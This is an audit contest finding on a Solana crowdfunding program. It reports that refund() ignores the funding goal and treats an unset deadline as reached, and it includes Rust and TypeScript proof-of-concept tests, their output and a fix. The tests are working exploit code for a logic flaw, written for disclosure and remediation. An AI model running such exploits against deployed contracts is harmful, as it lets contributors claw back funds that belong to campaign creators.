Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

refund() never checks the goal and treats an unset deadline (0) as reached, so contributors can refund from campaigns that met their goal, and at any time from campaigns with no deadline

Root + Impact

Description

  • The README allows refunds only "if deadlines are reached and goals aren't met", and the Actors section repeats both conditions. A campaign is meant to end in exactly one of two ways: it succeeds and the creator withdraws, or it fails and the contributors get refunds.

  • refund() has one eligibility check (L69), and it is incomplete in two ways.

    • It never reads fund.goal or fund.amount_raised, so a campaign that met its goal can be refunded after its deadline.

    • The deadline != 0 && short-circuit lets a refund through whenever no deadline is set. fund_create sets deadline to 0 (L17), and it stays 0 until the creator calls set_deadline.

    The two time checks also overlap at the boundary. contribute() rejects only when deadline < now (L29), while refund() accepts when deadline <= now, so at now == deadline both are open. In the deployed code these refunds pay 0 lamports, because contribute() never records contribution.amount (reported separately). This finding is the missing eligibility condition, which remains after that one-line fix.

// programs/rustfund/src/lib.rs L17: fund_create(): every campaign starts without a deadline
fund.deadline = 0;
​
// programs/rustfund/src/lib.rs L29-L31 (@> L29): contribute(): still open at now == deadline
@> if fund.deadline != 0 && fund.deadline < Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineReached.into());
}
​
// programs/rustfund/src/lib.rs L66-L71 (@> L69): refund(): the only gate; no goal check, and deadline 0 passes
pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
let amount = ctx.accounts.contribution.amount;
@> if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineNotReached.into());
}

Risk

Likelihood:

  • In the deployed code no SOL moves through this path, because refunds pay the never-recorded contribution.amount. refund() already returns Ok on a goal-met fund and on a fund without a deadline today (the live test). It will pay real SOL as soon as contribute() records amounts. This dependency is why Likelihood is Low.

  • Once refunds pay, any contributor can trigger it with an ordinary call. That works after the deadline of a campaign that met its goal. It also works at any time on a campaign whose creator has not called set_deadline, which is the state every campaign starts in.

Impact:

  • Contributors can claw back SOL from a campaign that succeeded, taking the raise away from its creator. In the PoC, all 120 SOL of a campaign with a 100 SOL goal are refunded and the creator receives nothing. After the first refund the creator's withdraw() also reverts, because refund() does not reduce amount_raised. That revert is a combined effect with the refund accounting, not part of this root cause.

  • Campaigns without a deadline give no commitment: any contributor can pull their SOL mid-campaign. After a deadline, refund and withdraw are open over the same lamports at once, so transaction order alone decides whether the creator or the contributors get paid. The PoC runs both orderings.

Proof of Concept

The file has two layers of tests. Both run the unmodified program.

  • Live test. This runs on unmodified state. refund() returns Ok in two cases:

    • a fund whose deadline was never set (goal 100 SOL, 5 SOL raised, mid-campaign);

    • a fund that met its goal (10 SOL goal, 12 SOL raised), called after its deadline.

    Both refunds move 0 lamports because of the separate contribution.amount bug. A baseline fund with a future deadline rejects the same refund with DeadlineNotReached (6002).

  • Latent tests. These show what the gate lets through once refunds pay. Before each test starts, ProgramTest::add_account writes each contributor's Contribution PDA with exactly the record that the one-line contribute() fix would leave: {contributor, fund, amount}. The record is Anchor-serialized with its discriminator, 80 bytes, rent-exempt and owned by the program. contribute() still runs for real, moves the lamports and updates amount_raised. The tests show:

    • a 120 SOL raise against a 100 SOL goal is refunded in full after the deadline, while the creator's withdraw() reverts with InsufficientFunds;

    • when the creator transacts first, the creator takes 120 SOL and Carol's refund fails, so order decides the outcome;

    • on a fund without a deadline, a contributor refunds 2 SOL in the same block as the contribution, while an identical fund with a deadline rejects the refund;

    • at now == deadline both contribute() and refund() succeed. At deadline - 1 the refund is rejected (6002), and at deadline + 1 the contribution is rejected (6001).

// PoC RF-03: refund() never checks the goal and treats an unset deadline (0) as "reached".
//
// refund()'s ONLY eligibility gate (lib.rs:69):
// if fund.deadline != 0 && fund.deadline > now { DeadlineNotReached }
// It never reads fund.goal / fund.amount_raised, the `deadline != 0 &&` short-circuit opens refunds
// on a fund whose deadline was never set, and at now == deadline both contribute (lib.rs:29 `<`)
// and refund (lib.rs:69 `>`) pass.
//
// Two layers of proof:
// * LIVE (unmodified program, unmodified state): refund() returns Ok on a goal-met fund after the
// deadline and on a fund with deadline == 0 mid-campaign. It moves 0 lamports only because
// contribute() never records contribution.amount (separate bug, "cluster 1").
// * LATENT (unmodified program): the Contribution PDA is pre-loaded with the exact state that the
// one-line cluster-1 fix (`contribution.amount += amount`) would leave after contribute():
// {contributor, fund, amount = contributed}. Program code is NOT changed; contribute() still
// moves the real lamports and bumps amount_raised. This shows what the gate lets through once
// refunds actually pay.
use anchor_lang::prelude::*;
use anchor_lang::solana_program::entrypoint::ProgramResult;
use anchor_lang::{InstructionData, ToAccountMetas};
use solana_program_test::*;
use solana_sdk::{
account::Account as SdkAccount,
instruction::{Instruction, InstructionError},
signature::{Keypair, Signer},
transaction::{Transaction, TransactionError},
};
​
const SOL: u64 = 1_000_000_000;
const DAY: i64 = 24 * 3600;
const ERR_DEADLINE_REACHED: u32 = 6001;
const ERR_DEADLINE_NOT_REACHED: u32 = 6002;
​
fn process_instruction(program_id: &Pubkey, accounts: &[AccountInfo], data: &[u8]) -> ProgramResult {
let accounts = Box::leak(Box::new(accounts.to_vec()));
rustfund::entry(program_id, accounts, data)
}
​
// ---------------------------------------------------------------- helpers
​
fn new_pt() -> ProgramTest {
ProgramTest::new("rustfund", rustfund::ID, processor!(process_instruction))
}
​
fn give_sol(pt: &mut ProgramTest, who: &Pubkey, sol: u64) {
pt.add_account(*who, SdkAccount::new(sol * SOL, 0, &solana_sdk::system_program::id()));
}
​
fn fund_pda(name: &str, creator: &Pubkey) -> Pubkey {
Pubkey::find_program_address(&[name.as_bytes(), creator.as_ref()], &rustfund::ID).0
}
​
fn contribution_pda(fund: &Pubkey, contributor: &Pubkey) -> Pubkey {
Pubkey::find_program_address(&[fund.as_ref(), contributor.as_ref()], &rustfund::ID).0
}
​
/// LATENT-world setup: write the Contribution record that a fixed contribute() would produce.
fn preload_recorded_contribution(pt: &mut ProgramTest, fund: Pubkey, contributor: Pubkey, amount: u64) {
let rec = rustfund::Contribution { contributor, fund, amount };
let mut data = Vec::new();
rec.try_serialize(&mut data).unwrap();
assert_eq!(data.len(), 8 + 32 + 32 + 8, "same size as 8 + Contribution::INIT_SPACE");
pt.add_account(
contribution_pda(&fund, &contributor),
SdkAccount {
lamports: Rent::default().minimum_balance(data.len()),
data,
owner: rustfund::ID,
executable: false,
rent_epoch: 0,
},
);
}
​
async fn send(
ctx: &mut ProgramTestContext,
ixs: &[Instruction],
extra_signers: &[&Keypair],
) -> std::result::Result<(), BanksClientError> {
let bh = ctx.get_new_latest_blockhash().await.unwrap();
let mut signers: Vec<&Keypair> = vec![&ctx.payer];
signers.extend_from_slice(extra_signers);
let tx = Transaction::new_signed_with_payer(ixs, Some(&ctx.payer.pubkey()), &signers, bh);
ctx.banks_client.process_transaction(tx).await
}
​
async fn lamports(ctx: &mut ProgramTestContext, key: &Pubkey) -> u64 {
ctx.banks_client.get_account(*key).await.unwrap().map(|a| a.lamports).unwrap_or(0)
}
​
async fn fund_state(ctx: &mut ProgramTestContext, key: &Pubkey) -> rustfund::Fund {
let acc = ctx.banks_client.get_account(*key).await.unwrap().unwrap();
rustfund::Fund::try_deserialize(&mut acc.data.as_slice()).unwrap()
}
​
async fn contribution_state(ctx: &mut ProgramTestContext, fund: &Pubkey, who: &Pubkey) -> rustfund::Contribution {
let acc = ctx.banks_client.get_account(contribution_pda(fund, who)).await.unwrap().unwrap();
rustfund::Contribution::try_deserialize(&mut acc.data.as_slice()).unwrap()
}
​
async fn fund_rent_min(ctx: &mut ProgramTestContext, fund: &Pubkey) -> u64 {
let acc = ctx.banks_client.get_account(*fund).await.unwrap().unwrap();
ctx.banks_client.get_rent().await.unwrap().minimum_balance(acc.data.len())
}
​
async fn now(ctx: &mut ProgramTestContext) -> i64 {
ctx.banks_client.get_sysvar::<Clock>().await.unwrap().unix_timestamp
}
​
async fn warp_to(ctx: &mut ProgramTestContext, ts: i64) {
let mut clock: Clock = ctx.banks_client.get_sysvar::<Clock>().await.unwrap();
clock.unix_timestamp = ts;
ctx.set_sysvar(&clock);
}
​
fn custom_code(err: BanksClientError) -> u32 {
match err {
BanksClientError::TransactionError(TransactionError::InstructionError(0, InstructionError::Custom(c))) => c,
other => panic!("expected custom program error, got {:?}", other),
}
}
​
fn assert_insufficient_funds(err: BanksClientError) {
match err {
BanksClientError::TransactionError(TransactionError::InstructionError(0, InstructionError::InsufficientFunds)) => {}
other => panic!("expected InsufficientFunds, got {:?}", other),
}
}
​
fn create_ix(fund: Pubkey, creator: Pubkey, name: &str, goal: u64) -> Instruction {
Instruction {
program_id: rustfund::ID,
accounts: rustfund::accounts::FundCreate { fund, creator, system_program: anchor_lang::system_program::ID }
.to_account_metas(None),
data: rustfund::instruction::FundCreate {
name: name.to_string(),
description: "all-or-nothing: refunds only if the deadline passes and the goal is missed".to_string(),
goal,
}
.data(),
}
}
​
fn deadline_ix(fund: Pubkey, creator: Pubkey, deadline: u64) -> Instruction {
Instruction {
program_id: rustfund::ID,
accounts: rustfund::accounts::FundSetDeadline { fund, creator }.to_account_metas(None),
data: rustfund::instruction::SetDeadline { deadline }.data(),
}
}
​
fn contribute_ix(fund: Pubkey, contributor: Pubkey, amount: u64) -> Instruction {
Instruction {
program_id: rustfund::ID,
accounts: rustfund::accounts::FundContribute {
fund,
contributor,
contribution: contribution_pda(&fund, &contributor),
system_program: anchor_lang::system_program::ID,
}
.to_account_metas(None),
data: rustfund::instruction::Contribute { amount }.data(),
}
}
​
fn refund_ix(fund: Pubkey, contributor: Pubkey) -> Instruction {
Instruction {
program_id: rustfund::ID,
accounts: rustfund::accounts::FundRefund {
fund,
contribution: contribution_pda(&fund, &contributor),
contributor,
system_program: anchor_lang::system_program::ID,
}
.to_account_metas(None),
data: rustfund::instruction::Refund {}.data(),
}
}
​
fn withdraw_ix(fund: Pubkey, creator: Pubkey) -> Instruction {
Instruction {
program_id: rustfund::ID,
accounts: rustfund::accounts::FundWithdraw { fund, creator, system_program: anchor_lang::system_program::ID }
.to_account_metas(None),
data: rustfund::instruction::Withdraw {}.data(),
}
}
​
// ---------------------------------------------------------------- 1. LIVE (deployed code, no simulation)
​
#[tokio::test]
async fn rf03_live_refund_gate_ignores_goal_and_unset_deadline() {
let creator = Keypair::new();
let (a, b, c) = (Keypair::new(), Keypair::new(), Keypair::new());
let mut pt = new_pt();
give_sol(&mut pt, &creator.pubkey(), 1);
for k in [&a, &b, &c] {
give_sol(&mut pt, &k.pubkey(), 20);
}
let mut ctx = pt.start_with_context().await;
let t0 = now(&mut ctx).await;
​
// Baseline fund: goal 100 SOL, deadline in 30 days -> refund correctly blocked.
let base = fund_pda("baseline", &creator.pubkey());
send(&mut ctx, &[create_ix(base, creator.pubkey(), "baseline", 100 * SOL)], &[&creator]).await.unwrap();
send(&mut ctx, &[deadline_ix(base, creator.pubkey(), (t0 + 30 * DAY) as u64)], &[&creator]).await.unwrap();
send(&mut ctx, &[contribute_ix(base, a.pubkey(), 5 * SOL)], &[&a]).await.unwrap();
let code = custom_code(send(&mut ctx, &[refund_ix(base, a.pubkey())], &[&a]).await.unwrap_err());
println!("[live] baseline: deadline set in future, refund -> Custom({})", code);
assert_eq!(code, ERR_DEADLINE_NOT_REACHED);
​
// (b) Fund whose creator never called set_deadline: goal 100 SOL unmet, mid-campaign.
let nodl = fund_pda("no-deadline", &creator.pubkey());
send(&mut ctx, &[create_ix(nodl, creator.pubkey(), "no-deadline", 100 * SOL)], &[&creator]).await.unwrap();
send(&mut ctx, &[contribute_ix(nodl, b.pubkey(), 5 * SOL)], &[&b]).await.unwrap();
let f = fund_state(&mut ctx, &nodl).await;
assert_eq!(f.deadline, 0);
assert!(f.amount_raised < f.goal);
let fund_before = lamports(&mut ctx, &nodl).await;
let res = send(&mut ctx, &[refund_ix(nodl, b.pubkey())], &[&b]).await;
println!(
"[live] deadline==0, goal {} / raised {}, now={} -> refund {:?}",
f.goal, f.amount_raised, now(&mut ctx).await, res
);
assert!(res.is_ok(), "refund accepted although no deadline exists (deadline==0 treated as reached)");
let moved = fund_before - lamports(&mut ctx, &nodl).await;
println!("[live] lamports moved by that refund = {} (contribution.amount = {})",
moved, contribution_state(&mut ctx, &nodl, &b.pubkey()).await.amount);
assert_eq!(moved, 0, "masked today: contribute() never records contribution.amount");
​
// (a) Goal-met fund after the deadline: goal 10 SOL, raised 12 SOL.
let ok = fund_pda("succeeded", &creator.pubkey());
let dl = t0 + 30 * DAY;
send(&mut ctx, &[create_ix(ok, creator.pubkey(), "succeeded", 10 * SOL)], &[&creator]).await.unwrap();
send(&mut ctx, &[deadline_ix(ok, creator.pubkey(), dl as u64)], &[&creator]).await.unwrap();
send(&mut ctx, &[contribute_ix(ok, c.pubkey(), 12 * SOL)], &[&c]).await.unwrap();
warp_to(&mut ctx, dl + 1).await;
let f = fund_state(&mut ctx, &ok).await;
assert!(f.amount_raised >= f.goal);
let fund_before = lamports(&mut ctx, &ok).await;
let res = send(&mut ctx, &[refund_ix(ok, c.pubkey())], &[&c]).await;
println!("[live] goal {} MET (raised {}), after deadline -> refund {:?}", f.goal, f.amount_raised, res);
assert!(res.is_ok(), "refund accepted on a SUCCESSFUL campaign: goal never checked");
assert_eq!(fund_before - lamports(&mut ctx, &ok).await, 0, "masked today: pays 0");
}
​
// ---------------------------------------------------------------- 2. LATENT: successful-campaign clawback
​
#[tokio::test]
async fn rf03_latent_successful_campaign_clawed_back_creator_gets_nothing() {
let name = "moonshot";
let creator = Keypair::new();
let (alice, bob, carol) = (Keypair::new(), Keypair::new(), Keypair::new());
let fund = fund_pda(name, &creator.pubkey());
let mut pt = new_pt();
give_sol(&mut pt, &creator.pubkey(), 1);
for (k, sol) in [(&alice, 70), (&bob, 50), (&carol, 30)] {
give_sol(&mut pt, &k.pubkey(), sol);
}
preload_recorded_contribution(&mut pt, fund, alice.pubkey(), 60 * SOL);
preload_recorded_contribution(&mut pt, fund, bob.pubkey(), 40 * SOL);
preload_recorded_contribution(&mut pt, fund, carol.pubkey(), 20 * SOL);
let mut ctx = pt.start_with_context().await;
​
let t0 = now(&mut ctx).await;
let deadline = t0 + 30 * DAY;
send(&mut ctx, &[create_ix(fund, creator.pubkey(), name, 100 * SOL)], &[&creator]).await.unwrap();
send(&mut ctx, &[deadline_ix(fund, creator.pubkey(), deadline as u64)], &[&creator]).await.unwrap();
send(&mut ctx, &[contribute_ix(fund, alice.pubkey(), 60 * SOL)], &[&alice]).await.unwrap();
send(&mut ctx, &[contribute_ix(fund, bob.pubkey(), 40 * SOL)], &[&bob]).await.unwrap();
send(&mut ctx, &[contribute_ix(fund, carol.pubkey(), 20 * SOL)], &[&carol]).await.unwrap();
​
let r = fund_rent_min(&mut ctx, &fund).await;
let f = fund_state(&mut ctx, &fund).await;
println!("[latent] goal = {} SOL, raised = {} SOL, fund lamports = R + {} SOL (R = {})",
f.goal / SOL, f.amount_raised / SOL, (lamports(&mut ctx, &fund).await - r) / SOL, r);
assert_eq!(f.amount_raised, 120 * SOL);
assert!(f.amount_raised >= f.goal, "campaign SUCCEEDED (120% of goal)");
assert_eq!(lamports(&mut ctx, &fund).await, r + 120 * SOL);
assert_eq!(contribution_state(&mut ctx, &fund, &carol.pubkey()).await.amount, 20 * SOL);
​
// Baseline: before the deadline the gate blocks refunds.
warp_to(&mut ctx, t0 + DAY).await;
let code = custom_code(send(&mut ctx, &[refund_ix(fund, carol.pubkey())], &[&carol]).await.unwrap_err());
println!("[latent] baseline: Carol refund before deadline -> Custom({})", code);
assert_eq!(code, ERR_DEADLINE_NOT_REACHED);
​
// The BUG: after the deadline, the goal is never consulted.
warp_to(&mut ctx, deadline + 1).await;
let carol_before = lamports(&mut ctx, &carol.pubkey()).await;
send(&mut ctx, &[refund_ix(fund, carol.pubkey())], &[&carol]).await.unwrap();
let carol_gain = lamports(&mut ctx, &carol.pubkey()).await - carol_before;
let f = fund_state(&mut ctx, &fund).await;
println!("[latent] after deadline, SUCCESSFUL campaign: Carol refund OK, Carol +{} SOL; fund = R + {} SOL, amount_raised still {} SOL",
carol_gain / SOL, (lamports(&mut ctx, &fund).await - r) / SOL, f.amount_raised / SOL);
assert_eq!(carol_gain, 20 * SOL, "contributor clawed back SOL from a campaign that met its goal");
assert_eq!(lamports(&mut ctx, &fund).await, r + 100 * SOL);
assert_eq!(f.amount_raised, 120 * SOL, "amount_raised not decremented (cluster 6)");
​
// Consequence (with cluster 6): the creator's withdraw of the remaining 100 SOL now reverts.
let creator_before = lamports(&mut ctx, &creator.pubkey()).await;
let err = send(&mut ctx, &[withdraw_ix(fund, creator.pubkey())], &[&creator]).await.unwrap_err();
println!("[latent] creator withdraw after one refund -> {:?}", err);
assert_insufficient_funds(err);
assert_eq!(lamports(&mut ctx, &creator.pubkey()).await, creator_before);
​
// The remaining backers drain the rest of the successful raise.
for (k, amt) in [(&alice, 60 * SOL), (&bob, 40 * SOL)] {
let before = lamports(&mut ctx, &k.pubkey()).await;
send(&mut ctx, &[refund_ix(fund, k.pubkey())], &[k]).await.unwrap();
assert_eq!(lamports(&mut ctx, &k.pubkey()).await - before, amt);
}
assert_eq!(lamports(&mut ctx, &fund).await, r, "all 120 SOL of a 100-SOL-goal campaign refunded");
assert_insufficient_funds(send(&mut ctx, &[withdraw_ix(fund, creator.pubkey())], &[&creator]).await.unwrap_err());
assert_eq!(lamports(&mut ctx, &creator.pubkey()).await, creator_before);
println!("[latent] end: fund = R (rent only), creator of a 120%-funded campaign received 0 SOL");
}
​
// ---------------------------------------------------------------- 3. LATENT: race between the two exits
​
#[tokio::test]
async fn rf03_latent_refund_and_withdraw_both_open_first_tx_wins() {
// Same successful campaign, opposite ordering: creator transacts first, Carol's refund then fails.
let name = "moonshot";
let creator = Keypair::new();
let (alice, carol) = (Keypair::new(), Keypair::new());
let fund = fund_pda(name, &creator.pubkey());
let mut pt = new_pt();
give_sol(&mut pt, &creator.pubkey(), 1);
give_sol(&mut pt, &alice.pubkey(), 110);
give_sol(&mut pt, &carol.pubkey(), 30);
preload_recorded_contribution(&mut pt, fund, alice.pubkey(), 100 * SOL);
preload_recorded_contribution(&mut pt, fund, carol.pubkey(), 20 * SOL);
let mut ctx = pt.start_with_context().await;
let t0 = now(&mut ctx).await;
let deadline = t0 + 30 * DAY;
send(&mut ctx, &[create_ix(fund, creator.pubkey(), name, 100 * SOL)], &[&creator]).await.unwrap();
send(&mut ctx, &[deadline_ix(fund, creator.pubkey(), deadline as u64)], &[&creator]).await.unwrap();
send(&mut ctx, &[contribute_ix(fund, alice.pubkey(), 100 * SOL)], &[&alice]).await.unwrap();
send(&mut ctx, &[contribute_ix(fund, carol.pubkey(), 20 * SOL)], &[&carol]).await.unwrap();
let r = fund_rent_min(&mut ctx, &fund).await;
​
warp_to(&mut ctx, deadline + 1).await;
let creator_before = lamports(&mut ctx, &creator.pubkey()).await;
send(&mut ctx, &[withdraw_ix(fund, creator.pubkey())], &[&creator]).await.unwrap();
assert_eq!(lamports(&mut ctx, &creator.pubkey()).await - creator_before, 120 * SOL);
assert_eq!(lamports(&mut ctx, &fund).await, r);
let err = send(&mut ctx, &[refund_ix(fund, carol.pubkey())], &[&carol]).await.unwrap_err();
println!("[latent] creator first: +120 SOL; Carol's refund at the same point in time -> {:?}", err);
assert_insufficient_funds(err);
println!("[latent] (test 2 shows the reverse ordering: Carol first -> creator gets 0) => outcome decided by tx order");
}
​
// ---------------------------------------------------------------- 4. LATENT: no deadline set -> refund any time
​
#[tokio::test]
async fn rf03_latent_unset_deadline_lets_contributor_refund_immediately() {
let creator = Keypair::new();
let dana = Keypair::new();
let nodl = fund_pda("never-set", &creator.pubkey());
let withdl = fund_pda("with-deadline", &creator.pubkey());
let mut pt = new_pt();
give_sol(&mut pt, &creator.pubkey(), 1);
give_sol(&mut pt, &dana.pubkey(), 10);
preload_recorded_contribution(&mut pt, nodl, dana.pubkey(), 2 * SOL);
preload_recorded_contribution(&mut pt, withdl, dana.pubkey(), 2 * SOL);
let mut ctx = pt.start_with_context().await;
let t0 = now(&mut ctx).await;
​
// Baseline: identical fund but the creator set a deadline -> refund blocked mid-campaign.
send(&mut ctx, &[create_ix(withdl, creator.pubkey(), "with-deadline", SOL)], &[&creator]).await.unwrap();
send(&mut ctx, &[deadline_ix(withdl, creator.pubkey(), (t0 + 30 * DAY) as u64)], &[&creator]).await.unwrap();
send(&mut ctx, &[contribute_ix(withdl, dana.pubkey(), 2 * SOL)], &[&dana]).await.unwrap();
let code = custom_code(send(&mut ctx, &[refund_ix(withdl, dana.pubkey())], &[&dana]).await.unwrap_err());
println!("[latent] baseline (deadline set): refund mid-campaign -> Custom({})", code);
assert_eq!(code, ERR_DEADLINE_NOT_REACHED);
​
// The BUG: set_deadline never called -> deadline == 0 -> refund open at any time.
send(&mut ctx, &[create_ix(nodl, creator.pubkey(), "never-set", SOL)], &[&creator]).await.unwrap();
send(&mut ctx, &[contribute_ix(nodl, dana.pubkey(), 2 * SOL)], &[&dana]).await.unwrap();
let r = fund_rent_min(&mut ctx, &nodl).await;
let f = fund_state(&mut ctx, &nodl).await;
assert_eq!(f.deadline, 0);
assert_eq!(lamports(&mut ctx, &nodl).await, r + 2 * SOL);
let dana_before = lamports(&mut ctx, &dana.pubkey()).await;
send(&mut ctx, &[refund_ix(nodl, dana.pubkey())], &[&dana]).await.unwrap();
let gain = lamports(&mut ctx, &dana.pubkey()).await - dana_before;
println!("[latent] deadline==0, goal {} SOL, raised {} SOL, same block as contribution: refund OK, Dana +{} SOL, fund = R",
f.goal / SOL, f.amount_raised / SOL, gain / SOL);
assert_eq!(gain, 2 * SOL);
assert_eq!(lamports(&mut ctx, &nodl).await, r);
}
​
// ---------------------------------------------------------------- 5. Boundary: now == deadline
​
#[tokio::test]
async fn rf03_boundary_contribute_and_refund_both_allowed_at_deadline_second() {
let creator = Keypair::new();
let (dave, eve) = (Keypair::new(), Keypair::new());
let fund = fund_pda("edge", &creator.pubkey());
let mut pt = new_pt();
give_sol(&mut pt, &creator.pubkey(), 1);
give_sol(&mut pt, &dave.pubkey(), 10);
give_sol(&mut pt, &eve.pubkey(), 10);
preload_recorded_contribution(&mut pt, fund, dave.pubkey(), 3 * SOL); // latent-world record for Dave only
let mut ctx = pt.start_with_context().await;
let t0 = now(&mut ctx).await;
let d = t0 + 30 * DAY;
send(&mut ctx, &[create_ix(fund, creator.pubkey(), "edge", 100 * SOL)], &[&creator]).await.unwrap();
send(&mut ctx, &[deadline_ix(fund, creator.pubkey(), d as u64)], &[&creator]).await.unwrap();
send(&mut ctx, &[contribute_ix(fund, dave.pubkey(), 3 * SOL)], &[&dave]).await.unwrap();
​
warp_to(&mut ctx, d - 1).await;
let code = custom_code(send(&mut ctx, &[refund_ix(fund, dave.pubkey())], &[&dave]).await.unwrap_err());
assert_eq!(code, ERR_DEADLINE_NOT_REACHED);
println!("[edge] now = deadline-1: refund -> Custom({})", code);
​
warp_to(&mut ctx, d).await;
assert_eq!(now(&mut ctx).await as u64, fund_state(&mut ctx, &fund).await.deadline);
let eve_res = send(&mut ctx, &[contribute_ix(fund, eve.pubkey(), SOL)], &[&eve]).await;
let dave_before = lamports(&mut ctx, &dave.pubkey()).await;
let dave_res = send(&mut ctx, &[refund_ix(fund, dave.pubkey())], &[&dave]).await;
let dave_gain = lamports(&mut ctx, &dave.pubkey()).await - dave_before;
println!("[edge] now == deadline: contribute -> {:?}, refund -> {:?} (Dave +{} SOL)", eve_res, dave_res, dave_gain / SOL);
assert!(eve_res.is_ok(), "contribute still open at now == deadline (lib.rs:29 uses `<`)");
assert!(dave_res.is_ok(), "refund already open at now == deadline (lib.rs:69 uses `>`)");
assert_eq!(dave_gain, 3 * SOL);
​
warp_to(&mut ctx, d + 1).await;
let code = custom_code(send(&mut ctx, &[contribute_ix(fund, eve.pubkey(), SOL)], &[&eve]).await.unwrap_err());
println!("[edge] now = deadline+1: contribute -> Custom({})", code);
assert_eq!(code, ERR_DEADLINE_REACHED);
}

Run from the repository root. Everything before the cd line is a one-time setup; save the file above as programs/rustfund/tests/poc_RF-03.rs before running the last line:

cat >> programs/rustfund/Cargo.toml <<'TOML'
​
[dev-dependencies]
solana-program-test = "~1.18.26"
solana-sdk = "~1.18.26"
tokio = { version = "1", features = ["macros", "rt-multi-thread"] }
TOML
mkdir -p programs/rustfund/tests
cd programs/rustfund && cargo test --test poc_RF-03 -- --nocapture

Result: test result: ok. 5 passed; 0 failed. Key log lines:

[live] deadline==0, goal 100000000000 / raised 5000000000, now=1791648693 -> refund Ok(())
[live] goal 10000000000 MET (raised 12000000000), after deadline -> refund Ok(())
[latent] after deadline, SUCCESSFUL campaign: Carol refund OK, Carol +20 SOL; fund = R + 100 SOL, amount_raised still 120 SOL
[latent] end: fund = R (rent only), creator of a 120%-funded campaign received 0 SOL
[latent] creator first: +120 SOL; Carol's refund at the same point in time -> TransactionError(InstructionError(0, InsufficientFunds))
[latent] deadline==0, goal 1 SOL, raised 2 SOL, same block as contribution: refund OK, Dana +2 SOL, fund = R
[edge] now == deadline: contribute -> Ok(()), refund -> Ok(()) (Dave +3 SOL)

Recommended Mitigation

Allow refunds only when a deadline exists, it has passed and the goal was missed. Close contributions at the deadline second so the two windows do not overlap.

--- a/programs/rustfund/src/lib.rs
+++ b/programs/rustfund/src/lib.rs
@@ -28,4 +28,4 @@
- if fund.deadline != 0 && fund.deadline < Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
+ if fund.deadline != 0 && fund.deadline <= Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineReached.into());
}
@@ -68,5 +68,8 @@
let amount = ctx.accounts.contribution.amount;
- if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
+ if ctx.accounts.fund.deadline == 0 || ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineNotReached.into());
}
+ if ctx.accounts.fund.amount_raised >= ctx.accounts.fund.goal {
+ return Err(ErrorCode::GoalReached.into());
+ }
@@ -205,3 +208,5 @@
#[msg("Calculation overflow occurred")]
CalculationOverflow,
+ #[msg("Funding goal reached, refunds are closed")]
+ GoalReached,
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] Inadequate Refund Conditions

## Description the refund mechanism only verifies that the current time has passed the campaign deadline, without checking whether the campaign has failed to meet its funding goal.This oversight may result in refunds being issued even if the campaign was, in principle, successful, potentially undermining the trust and financial integrity of the platform. &#x20; ## Vulnerability Details The refund function in the contract is designed to return funds to contributors if a campaign fails. However, it only checks whether the campaign deadline has been reached (or passed) before allowing a refund, without verifying if the campaign's funding goal was met. In other words, the function solely relies on a time-based condition and does not incorporate the additional logic required to determine if a campaign has been unsuccessful. **Code Analysis:**\ The refund function contains the following check: ```Rust if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } ``` This condition ensures that refunds are only triggered after the deadline has passed. However, there is no subsequent verification that compares `fund.amount_raised` to the `fund.goal` to determine whether the campaign failed to meet its funding target. As a result, even if the campaign has met or exceeded its goal, contributors could potentially request refunds simply because the deadline has passed. ## proof Of Concept ```typescript it("Allows refund on a successful campaign due to missing goal check", async () => { // Define campaign parameters with a near-future deadline (5 seconds from now) const fundName = "refund flaw"; const description = "Test for refund vulnerability on a successful campaign"; const goal = new anchor.BN(1000000000); // 1 SOL goal // Set deadline to 5 seconds from now const deadline = new anchor.BN(Math.floor(Date.now() / 1000) + 5); // Generate PDA for the fund using the campaign name and creator's public key let [fundPDA, fundBump] = await PublicKey.findProgramAddress( [Buffer.from(fundName), creator.publicKey.toBuffer()], program.programId ); // Create the fund campaign await program.methods .fundCreate(fundName, description, goal) .accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); // Set the campaign deadline await program.methods .setDeadline(deadline) .accounts({ fund: fundPDA, creator: creator.publicKey, }) .rpc(); // Airdrop lamports to otherUser so they can contribute const airdropSig = await provider.connection.requestAirdrop( otherUser.publicKey, 2 * anchor.web3.LAMPORTS_PER_SOL // e.g., 2 SOL ); await provider.connection.confirmTransaction(airdropSig); // Generate PDA for the contribution account using fund's PDA and otherUser's public key let [contributionPDA, contributionBump] = await PublicKey.findProgramAddress( [fundPDA.toBuffer(), otherUser.publicKey.toBuffer()], program.programId ); // otherUser contributes 1 SOL, meeting the campaign goal const contributionAmount = new anchor.BN(1000000000); // 1 SOL await program.methods .contribute(contributionAmount) .accounts({ fund: fundPDA, contributor: otherUser.publicKey, contribution: contributionPDA, systemProgram: anchor.web3.SystemProgram.programId, }) .signers([otherUser]) .rpc(); // Verify the campaign is successful by checking that amountRaised >= goal let fundBeforeDeadline = await program.account.fund.fetch(fundPDA); expect(fundBeforeDeadline.amountRaised.gte(goal)).to.be.true; // Wait until after the deadline has passed await new Promise((resolve) => setTimeout(resolve, 6000)); // otherUser calls refund despite the campaign being successful // (a correct implementation should disallow this refund) let refundTxSucceeded = true; try { await program.methods .refund() .accounts({ fund: fundPDA, contribution: contributionPDA, contributor: otherUser.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .signers([otherUser]) .rpc(); } catch (err) { refundTxSucceeded = false; } // The vulnerability: refund call is erroneously allowed even though the campaign met its goal. expect(refundTxSucceeded).to.be.true; // check the contributor's balance change to further demonstrate the refund was processed. const balanceAfterRefund = await provider.connection.getBalance( otherUser.publicKey ); 